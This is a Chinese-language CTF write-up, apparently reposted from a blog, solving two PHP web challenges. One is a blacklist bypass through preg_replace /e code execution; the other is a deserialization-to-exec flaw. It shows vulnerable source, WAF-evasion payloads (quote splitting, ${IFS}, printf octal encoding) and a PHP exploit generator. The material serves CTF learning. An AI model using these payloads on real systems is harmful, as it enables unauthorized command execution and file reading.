CTF web php waf绕过合集
<h1 id="hnctf-2024please_rce_me">Please_RCE_Me</h1><p>打开靶机,发现要求get请求传参<code>?moran=flag</code><br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240512155111266-1942380934.png" alt="" loading="lazy"><br>
get请求访问<code>ip:端口?moran=flag</code>,得到页面源码<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240512155220688-1411394502.png" alt="" loading="lazy"><br>
发现system、eval、assert、call、create、preg、sort、{|}、filter、exec、passthru、proc、open、echo、`、 、.、include、require、flag都被过滤掉了,大部分执行外部命令的函数全都无法使用。</p>
<p><strong>对于flag参数:</strong></p>
<p><code>preg_match('/system|eval|...|flag/i',$str1)</code>,preg_match函数用来匹配字符串,如果str1包含<code>'/某些用竖线分割的字符/'</code>中的内容,则返回true。参数i表示大小写不敏感。</p>
<p><code>preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag'])</code>,对于这个函数,可以简要看成<code>preg_replace($a,$b,$c)</code>,用来将变量a字符串中的c替换成b,参数i表示大小写不敏感,参数e表示作为代码执行。</p>
<p>根据<code>strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)</code>的逻辑,str2一定是19个字符,其中的preg_match函数大小写敏感,最后else分支中的preg_match函数大小写不敏感并且需要将please_give_me_flag全部替换成需要执行的代码,设置post参数<code>flag=Please_give_me_flag</code>进行绕过。</p>
<p><strong>对于task参数,内容被作为代码执行:</strong></p>
<p>可用函数如下</p>
<blockquote>
<p><strong>直接显示文件内容函数:</strong>show_source()、highlight_file()</p>
<p><strong>读取文件内容函数:</strong>file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()</p>
<p><strong>无法直接读取文件函数:</strong>fpassthru()、fread()</p>
<p><strong>打印输出函数:</strong>echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()</p>
<p><strong>执行外部命令函数:</strong>system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})</p>
<p>参考自ctfshow web入门 命令执行 特征及绕过技巧(部分)</p>
</blockquote>
<p>还剩下var_dump、print_r、var_export函数可以尝试(print等其他打印输出函数在这里不能达到效果,这部分涉及到print、print_r、echo等的区别)<br>
列出当前目录<code>var_dump(scandir('./'));</code>或者<code>print_r(scandir('./'));</code>或者<code>var_export(scandir('./'));</code><br>
列出根目录<code>var_dump(scandir('/'));</code>或者<code>print_r(scandir('/'));</code>或者<code>var_export(scandir('/'));</code><br>
因为过滤掉了.,直接尝试列出根目录<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240512162504414-955743789.png" alt="" loading="lazy"></p>
<p>发现flag文件,但是字符串flag被直接过滤掉了,不知道为什么无法使用<code>/f*</code>或者<code>/fl?g</code>直接访问该文件。<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240512162311213-1851072227.png" alt="" loading="lazy"></p>
<p>想到另一个办法,用匹配到的路径作为输入来访问flag文件。</p>
<p>首先glob函数搜索以/fla开头的文件,因为根目录下只有flag这一个,所以返回结果第一个就是flag文件的目录,用current函数获取数组的第一个元素作为字符串,使用highlight_file函数打开。</p>
<p>glob函数返回符合匹配条件的所有文件的路径。</p>
<p>设置post参数<code>task=var_dump(highlight_file(current(glob('/fla*'))))</code>,发送http请求,得到flag<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240512165741556-510775972.png" alt="" loading="lazy"></p>
<br>
<h1 id="攻防世界unseping">[攻防世界]unseping</h1>
<p>打开靶机发现源码如下:</p>
<pre><code class="language-php"><?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
</code></pre>
<p>可以POST传参ctf,该参数中的数据base64解码后反序列化。</p>
<p>在PHP中,类的方法在不同的情况下被调用,具体取决于它们的类型和PHP的运行时行为。以下是代码中一些函数会被调用的情况:</p>
<ol>
<li>
<p><strong>构造函数__construct</strong>:<br>
当一个类的实例被创建时被自动调用。在这个例子中,当使用<code>new ease($method, $args)</code>创建ease类的新对象时,方法将被调用,并将<code>$method</code>和<code>$args</code>赋值给对象的私有属性。</p>
</li>
<li>
<p><strong>析构函数__destruct</strong>:<br>
当对象生命周期结束,或者使用unset()显式销毁对象时被调用。PHP会在脚本结束前,或者对象被明确销毁时清理对象资源,并调用析构函数。</p>
</li>
<li>
<p><strong>唤醒函数__wakeup</strong>:<br>
对象被反序列化时自动调用。反序列化是将对象的状态从字符串表示恢复到对象的过程,通常发生在对象从会话存储或数据库中恢复时。</p>
</li>
</ol>
<p>对象被反序列化,__wakeup方法将被调用,它将用waf过滤<code>$args</code>数组中的每个元素。如果<code>$method</code>被设置为'ping',那么当对象生命周期结束时,析构函数__destruct会检查<code>$method</code>,如果是'ping',它将调用ping方法,执行exec函数和var_dump函数,其参数为<code>$args</code>。同时,如果</p>
<p>过滤了<code>"/(\||&|;| |\/|cat|flag|tac|php|ls)/"</code>。</p>
<p>因为__wakeup函数中对args参数的处理,该参数必须是数组,写出生成测试用的payload的代码,使用在线网站对代码进行反序列化和base64编码 https://www.jyshare.com/compile/1/ 。<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240529190644669-1701168061.png" alt="" loading="lazy"></p>
<p>使用hackbar传参得到返回的消息,确定参数可以被正确传递并解析。<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240529190440725-370445025.png" alt="" loading="lazy"></p>
<p>现在需要绕过waf,<strong>使用双引号绕过字符串的检测</strong><code>$resume->args = array('l""s');</code>,得到返回结果<code>array(2) { => string(12) "flag_1s_here" => string(9) "index.php" } </code>,发现flag在flag_1s_here文件中。</p>
<p>%20可以替换空格,设置<code>$resume->args = array('ca""t%20fla""g_1s_here');</code>传参发现里面是空的<code>array(0) { } </code>,猜测是文件夹,ls命令列出文件夹内容。</p>
<p>这里使用%20替换空格不知道为什么失效了,<strong>使用${IFS}替换空格</strong>可以正常执行命令,设置<code> $resume->args = array('l""s${IFS}f""lag_1s_here');</code>,传参得到<code>array(1) { => string(25) "flag_831b69012c67b35f.php" } </code>。</p>
<p>查看该php文件,过滤了<code>\</code>,可以用<code>cd ..;cd ..;cd enc;cat flag</code>绕过,传参后才发现<code>;</code>也被过滤了,还可以<strong>oct编码绕过</strong>,使用<code>$(printf${IFS}"\57")</code>替换反斜杠,设置<code>$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');</code>。<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240529195251822-1822197043.png" alt="" loading="lazy"><br>
传参得到flag。<br>
<img src="https://img2024.cnblogs.com/blog/3273679/202405/3273679-20240529195304137-1662798882.png" alt="" loading="lazy"></p>
<p>exp如下,将php代码运行得到的数据作为ctf参数的数据传入:</p>
<pre><code class="language-php"><?php
class ease{
var $method;
var $args;
}
$resume = new ease();
$resume->method = 'ping';
$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');
$result = serialize($resume);
echo $result;
echo base64_encode($result);
?>
</code></pre>
<br><br><br>
来源:https://www.cnblogs.com/sK07XdAy/p/18187876
頁:
[1]